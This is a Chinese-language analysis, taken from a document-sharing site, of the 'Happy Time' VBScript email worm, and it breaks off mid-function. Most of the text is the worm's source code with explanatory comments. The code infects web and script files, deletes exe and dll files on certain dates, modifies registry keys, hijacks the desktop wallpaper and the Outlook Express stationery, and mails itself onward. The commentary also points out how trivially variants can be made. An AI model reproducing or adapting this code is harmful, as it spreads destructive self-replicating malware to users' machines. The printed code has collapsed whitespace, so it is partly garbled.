欢乐时光代码分析1.docx
《欢乐时光代码分析1.docx》由会员分享，可在线阅读，更多相关《欢乐时光代码分析1.docx（19页珍藏版）》请在冰豆网上搜索。
欢乐时光代码分析1
欢乐时光代码分析
（1）
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。
我们知道，邮件的格式可以有两种：
纯文本和超文本。
超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。
“欢乐时光”在超文本中夹带的就是VBS。
从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!
happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!
happytime的注释，以表明此文件已被感染过。
Submload（）
OnErrorResumeNext
mPath=Grf（）
SetOs=CreateObject（"Scriptlet.TypeLib"）
SetOh=CreateObject（"Shell.Application"）
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase（document.Location）
IfmPath=""Then
Os.Reset
Os.Path="C:
Help.htm"
Os.Doc=Lhtml（）
Os.Write（）
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:
Help.Htm
Calldocument.Body.insertAdjacentHTML（"AfterBegin",Ihtml）
Else
IfIv（mPath,"Help.vbs"）Then
setInterval"Rt（）",10000
Else
m="hta"
IfLCase（m）=Right（mURL,Len（m））Then
id=setTimeout（"mclose（）",1）
’设置超时条件
main
Else
Os.Reset（）
Os.Path=mPath&""&"Help.hta"
Os.Doc=Lhtml（）
Os.write（）
IvmPath,"Help.hta"
’生成Help.hta
EndIf
EndIf
EndIf
Else
Main
’都不是，就执行main函数
EndIf
EndSub
’******************************************************************
’以下为主函数，太长了！
Submain（）
OnErrorResumeNext
SetOf=CreateObject（"Scripting.FileSystemObject"）
’不用说，创建FileSystemObject对象啦
SetOd=CreateObject（"Scripting.Dictionary"）
’创建Dictionary对象,用来保存数据键和项目对，它实际上是一个比较开放的数组
Od.Add"html","1100"
Od.Add"vbs","0100"
Od.Add"htm","1100"
Od.Add"asp","0010"
’向Dictionary对象添加要感染的项目对
Ks="HKEY_CURRENT_USERSoftware"
’使用变量以减少代码长度
Ds=Grf（）
Cs=Gsf（）
IfIsVbsThen
’如果是VBS
IfOf.FileExists（"C:
help.htm"）Then
Of.DeleteFile（"C:
help.htm"）
’如果c:
help.htm存在，就删掉，消灭遗留的痕迹
EndIf
Key=CInt（Month（Date）Day（Date））
IfKey=13Then
’如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可）
Od.RemoveAll
Od.Add"exe","0001"
Od.Add"dll","0001"
’就清空Dictionary数组，并将exe、dll加入Dictionary对象，以备删除之用
EndIf
Cn=Rg（Ks&"HelpCount"）
’读注册表中的HKEY_CURRENT_USERSoftwareHelpCount键值
IfCn=""Then
Cn=1
’如果Count为0，就设为1
EndIf
RwKs&"HelpCount",Cn1
’添加HKEY_CURRENT_USERSoftwareHelpCount键值，值为2
f1=Rg（Ks&"HelpFileName"）
’再读HKEY_CURRENT_USERSoftwareHelpFileName键值
f2=FNext（Of,Od,f1）
’得到该文件的文件名
fext=GetExt（Of,Od,f2）
’得到该文件扩展名的代号
RwKs&"HelpFileName",f2
’添加键值
IfIsDel（fext）Then
’如果扩展名代号的第四个字符为1——即0001（exe、dll）
f3=f2
’储存文件名
f2=FNext（Of,Od,f2）
’得到文件的文件名？
RwKs&"HelpFileName",f2
’写注册表
Of.DeleteFilef3
’删除文件
Else
IfLCase（WScript.ScriptFullname）<>LCase（f2）Then
’如果不是集合中的文件
FwOf,f2,fext
EndIf
EndIf
If（CInt（Cn）Mod366）=0Then
If（CInt（Second（Time））Mod2）=0Then
’使用Cint函数强制执行转换，并发邮件
Tsend
Else
adds=Og
Msend（adds）
EndIf
EndIf
wp=Rg（"HKEY_CURRENT_USERControlPaneldesktopwallPaper"）
IfRg（Ks&"HelpwallPaper"）<>wpOrwp=""Then
’比较桌面墙纸是否已改变
Ifwp=""Then
n1=""
n3=Cs&"Help.htm"
Else
mP=Of.GetFile（wp）.ParentFolder
n1=Of.GetFileName（wp）
n2=Of.GetBaseName（wp）
n3=Cs&""&n2&".htm"
EndIf
Setpfc=Of.CreateTextFile（n3,True）
mt=Sa（"1100"）
’创建超文本
pfc.Write"<"&"HTML><"&"bodybgcolor=’#007f7f’background=’"&n1&"’><
"&"/Body><"&"/HTML>"&mt
’超文本的内容
pfc.Close
RwKs&"HelpwallPaper",n3
Rw"HKEY_CURRENT_USERControlPaneldesktopwallPaper",n3
’将带毒的超文本设置成活动桌面
EndIf
Else
Setfc=Of.CreateTextFile（Ds&"Help.vbs",True）
fc.WriteSa（"0100"）
’创建vbs文件
fc.Close
bf=Cs&"Untitled.htm"
Setfc2=Of.CreateTextFile（bf,True）
fc2.WriteLhtml
fc2.Close
’创建windows下的untitled.htm
oeid=Rg（"HKEY_CURRENT_USERIdentitiesDefaultUserID"）
oe="HKEY_CURRENT_USERIdentities"&oeid&"SoftwareMicrosoftOutlookE
xpress5.0Mail"
MSH=oe&"MessageSendHTML"
CUS=oe&"ComposeUseStationery"
SN=oe&"StationeryName"
RwMSH,1
RwCUS,1
RwSN,bf
’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼OutlookExpress＼5.0＼Mail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName，前两个的值为1，后一个指向windowsuntitled.htm
Web=Cs&"WEB"
Setgf=Of.GetFolder（Web）.Files
’得到windowsweb文件夹里的文件
Od.Add"htt","1100"
’向Dictionary里添加htt项目对
ForEachmIngf
’遍历windowsweb下的每一个文件
fext=GetExt（Of,Od,m）
’得到每个文件的扩展名
Iffext<>""Then
’如果扩展名不为空，则
FwOf,m,fext
EndIf
Next
EndIf
EndSub
’******************************************************************
Submclose（）
document.Write"<"&"title>Iamsorry!
’写入Iamsorry,并关闭。
以此作为感染与否的标记
window.Close
EndSub
’******************************************************************
SubFw（Of,S,n）
’此时S为文件名，n为文件扩展名
Dimfc,fc2,m,mmail,mt
OnErrorResumeNext
Setfc=Of.OpenTextFile（S,1）
’只读模式打开该文件
mt=fc.ReadAll
’读入全部文件流
fc.Close
’关闭文件
IfNotSc（mt）Then
’如果未感染过
mmail=Ml（mt）
mt=Sa（n）
Setfc2=Of.OpenTextFile（S,8）
’打开文件并在文件末尾进行写爱作
fc2.Writemt
fc2.Close
Msend（mmail）
’发带毒邮件
EndIf
EndSub
’******************************************************************
FunctionSc（S）
mN="RemIamsorry!
happytime"
IfInStr（S,mN）>0Then
’如果读入的文件流中有RemIamsorry!
happytime
Sc=True
Else
Sc=False
’表示已感染过，返回True,否则为False
EndIf
EndFunction
’******************************************************************
FunctionFNext（Of,Od,S）
Dimfpath,fname,fext,T,gf
OnErrorResumeNext
fname=""
T=False
’初始化变量
IfOf.FileExists（S）Then
’如果S存在于当前文件夹中
fpath=Of.GetFile（S）.ParentFolder
’得到文件的父目录名
fname=S
’得到文件名
ElseIfOf.FolderExists（S）Then
’不存在于当前文件夹中，则得到目录名
fpath=S
T=True
Else
fpath=Dnext（Of,""）
’得到当前盘符——即根目录
EndIf
DoWhileTrue
Setgf=Of.GetFolder（fpath）.Files
’得到当前目录下的所有文件对象
ForEachmIngf
’遍历每个文件
IfTThen
IfGetExt（Of,Od,m）<>""Then
’如果该文件是文件集合中的一员
FNext=m
’则返回该文件名，供调用的函数或过程使用——感染或删除之
ExitFunction
EndIf
ElseIfLCase（m）=LCase（fname）Orfname=""Then
’如果没文件
T=True
EndIf
Next
fpath=Pnext（Of,fpath）’
Loop
EndFunction
’******************************************************************
FunctionPnext（Of,S）
OnErrorResumeNext
DimPpath,Npath,gp,pn,T,m
T=False
IfOf.FolderExists（S）Then
’如果如果指定的文件夹存在
Setgp=Of.GetFolder（S）.SubFolders
’就得到子目录数
pn=gp.Count
Ifpn=0Then
’如果没子目录
Ppath=LCase（S）’
Npath=LCase（Of.GetParentFolderName（S））
’得到父目录的小写形式
T=True
Else
Npath=LCase（S）
’有子目录，得到其小写形式的集合
EndIf
DoWhileNotEr’
ForEachpnInOf.GetFolder（Npath）.SubFolders
’得到子目录下的子目录
IfTThen
IfPpath=LCase（pn）Then
T=False
EndIf
Else
Pnext=LCase（pn）
ExitFunction
EndIf
Next
T=True
Ppath=LCase（Npath）
’将字符串转化成小写
Npath=Of.GetParentFolderName（Npath）’
IfOf.GetFolder（Ppath）.IsRootFolderThen
’如果是根目录
m=Of.GetDriveName（Ppath）
’就得到分区符
Pnext=Dnext（Of,m）
ExitFunction
EndIf
Loop
EndIf
EndFunction
’******************************************************************
FunctionDnext（Of,S）
Dimdc,n,d,T,m
OnErrorResumeNext
T=False
m=""
Setdc=Of.Drives
’得到所有的驱动器盘符
ForEachdIndc
’遍历每个驱动器
Ifd.DriveType=2Ord.DriveType=3Then
’如果是网络盘或本地盘
IfTThen
Dnext=d
ExitFunction
’如果是False，就返回当前盘，并退出本函数
Else
IfLCase（S）=LCase（d）Then
’如果是True且盘符相同，就令T为True
T=True
EndIf
Ifm=""Then
’如果m为空，就将盘符付给m
m=d
EndIf
EndIf
EndIf
Next
Dnext=m
’返回盘符
EndFunction
’******************************************************************
FunctionGetExt（Of,Od,S）
Dimfext
OnErrorResumeNext
fext=LCase（Of.GetExtensionName（S））
’返回该文件扩展名的小写
GetExt=Od.Item（fext）
’返回Dictionary对象中指定的key对应的item——即0001（exe）等
EndFunction
’******************************************************************
SubRw（k,v）
’写注册表
DimR
OnErrorResumeNext
SetR=CreateObject（"WScript.Shell"）
’创建对象
R.RegWritek,v
EndSub
’******************************************************************
FunctionRg（v）
’读注册表
DimR
OnErrorResumeNext
SetR=CreateObject（"WScript.Shell"）
’创建对象
Rg=R.RegRead（v）
EndFunction
’******************************************************************
FunctionIsVbs（）
’此函数判断是不是VBS文件
DimErrTest
OnErrorResumeNext
ErrTest=WScript.ScriptFullname
IfErrThen
’如果出错，则不是VBS
IsVbs=False
Else
IsVbs=True
EndIf
EndFunction
’******************************************************************
FunctionIsHTML（）
’此函数判断是不是Html文件
DimErrTest
OnErrorResumeNext
ErrTest=document.Location
IfErThen
IsHTML=False
’如果出错，则不是超文本
Else
IsHTML=True
EndIf
EndFunction
’******************************************************************
FunctionIsMail（S）
’此函数判断是不是邮件地址
Dimm1,m2
IsMail=False
IfInStr（S,vbCrLf）=0Then
’返回vbCrLf在S中第一次出现的位置,vbCrLf是换行符
m1=InStr（S,"@"）
m2=InStr（S,"."）
Ifm1<>0Andm1
’如果有“@”符号且“@”在“."之前，则是邮件地址
IsMail=True
EndIf
EndIf
EndFunction
’******************************************************************
FunctionGsf（）
’得到windows目录
DimOf,m
OnErrorResumeNext
SetOf=CreateObject（"Scripting.FileSystemObject"）
’创建FileSystemObject对象
m=Of.GetSpecialFolder（0）
’得到特殊目录——Windows、System和Temp目录
IfErThe
升级会员 